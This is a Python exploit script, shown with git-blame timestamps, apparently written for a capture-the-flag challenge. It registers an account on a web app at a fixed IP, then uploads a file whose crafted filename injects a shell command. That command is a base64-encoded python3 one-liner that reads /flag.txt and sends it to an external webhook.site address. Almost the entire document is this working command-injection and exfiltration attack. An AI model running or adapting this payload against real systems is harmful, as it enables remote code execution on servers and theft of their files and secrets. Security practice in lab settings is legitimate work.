2025-10-11 12:03:09 +07:00
|
|
|
#!/usr/bin/env python3
|
|
|
|
|
import requests
|
|
|
|
|
from pathlib import Path
|
|
|
|
|
import random
|
|
|
|
|
import string
|
|
|
|
|
|
2025-10-26 15:09:49 +07:00
|
|
|
HOST = "http://54.179.69.160:10000"
|
2025-10-11 12:03:09 +07:00
|
|
|
REGISTER_URL = HOST + "/register"
|
|
|
|
|
LOGIN_URL = HOST + "/login"
|
|
|
|
|
CREATE_URL = HOST + "/create"
|
|
|
|
|
HOME_URL = HOST + "/"
|
|
|
|
|
PROFILE_URL = HOST + "/profile"
|
|
|
|
|
|
|
|
|
|
LOCAL_IMAGE = "test.png" # a valid image file on your machine
|
|
|
|
|
# Generate random username and password
|
|
|
|
|
def generate_random_string(length=8):
|
|
|
|
|
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
|
|
|
|
|
|
|
|
|
|
USERNAME = generate_random_string()
|
|
|
|
|
PASSWORD = generate_random_string()
|
|
|
|
|
# choose payload variant: either use subshell $() or backticks `...`
|
2025-10-26 15:09:49 +07:00
|
|
|
filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS9hNDM1ZDdhZS02ZDIzLTQwY2ItYTllNy00ZjgwMzk2YzYwNWMnLCBkYXRhPW9wZW4oJy9mbGFnLnR4dCcsICdyYicpLnJlYWQoKSki=' | base64 -d | bash;#.jpg"
|
2025-10-11 12:03:09 +07:00
|
|
|
|
|
|
|
|
# choose which to use:
|
|
|
|
|
filename_payload = filename_payload # or payload_backticks
|
|
|
|
|
|
|
|
|
|
s = requests.Session()
|
|
|
|
|
|
|
|
|
|
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD})
|
|
|
|
|
if r.status_code != 200:
|
|
|
|
|
print("Registration failed. Status:", r.status_code)
|
|
|
|
|
# print("Response:", r.text[:400])
|
|
|
|
|
exit(1)
|
|
|
|
|
else:
|
|
|
|
|
print(f"Registered user: {USERNAME}")
|
2025-10-26 15:09:49 +07:00
|
|
|
print(f"Registered PASSWORD: {PASSWORD}")
|
2025-10-11 12:03:09 +07:00
|
|
|
|
|
|
|
|
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD})
|
|
|
|
|
if r.status_code != 200:
|
|
|
|
|
print("Login request status:", r.status_code)
|
|
|
|
|
print("Response:", r.text[:400])
|
|
|
|
|
else:
|
|
|
|
|
print("Login attempted. Cookies:", s.cookies.get_dict())
|
|
|
|
|
|
|
|
|
|
# 2) upload file with crafted filename in multipart
|
|
|
|
|
img_path = Path(LOCAL_IMAGE)
|
|
|
|
|
if not img_path.exists():
|
|
|
|
|
raise SystemExit(f"Local image {LOCAL_IMAGE} not found")
|
|
|
|
|
|
|
|
|
|
with open(img_path, "rb") as fh:
|
|
|
|
|
# requests allows sending a custom filename (first item in tuple)
|
|
|
|
|
files = {
|
|
|
|
|
"image": (filename_payload, fh, "image/jpeg")
|
|
|
|
|
}
|
|
|
|
|
data = {"title": "tes payload python3 base64 cat to curl", "content": "ctf"}
|
|
|
|
|
r = s.post(CREATE_URL, data=data, files=files)
|
|
|
|
|
print("Upload response:", r.status_code)
|
|
|
|
|
# optionally print a bit of response to see if anything obvious happened
|
|
|
|
|
print(r.text[:800])
|
|
|
|
|
|
|
|
|
|
# 3) fetch profile to see if you are admin and flag is shown
|
|
|
|
|
r = s.get(PROFILE_URL)
|
|
|
|
|
print("Profile status:", r.status_code)
|
|
|
|
|
print(r.text[:1200])
|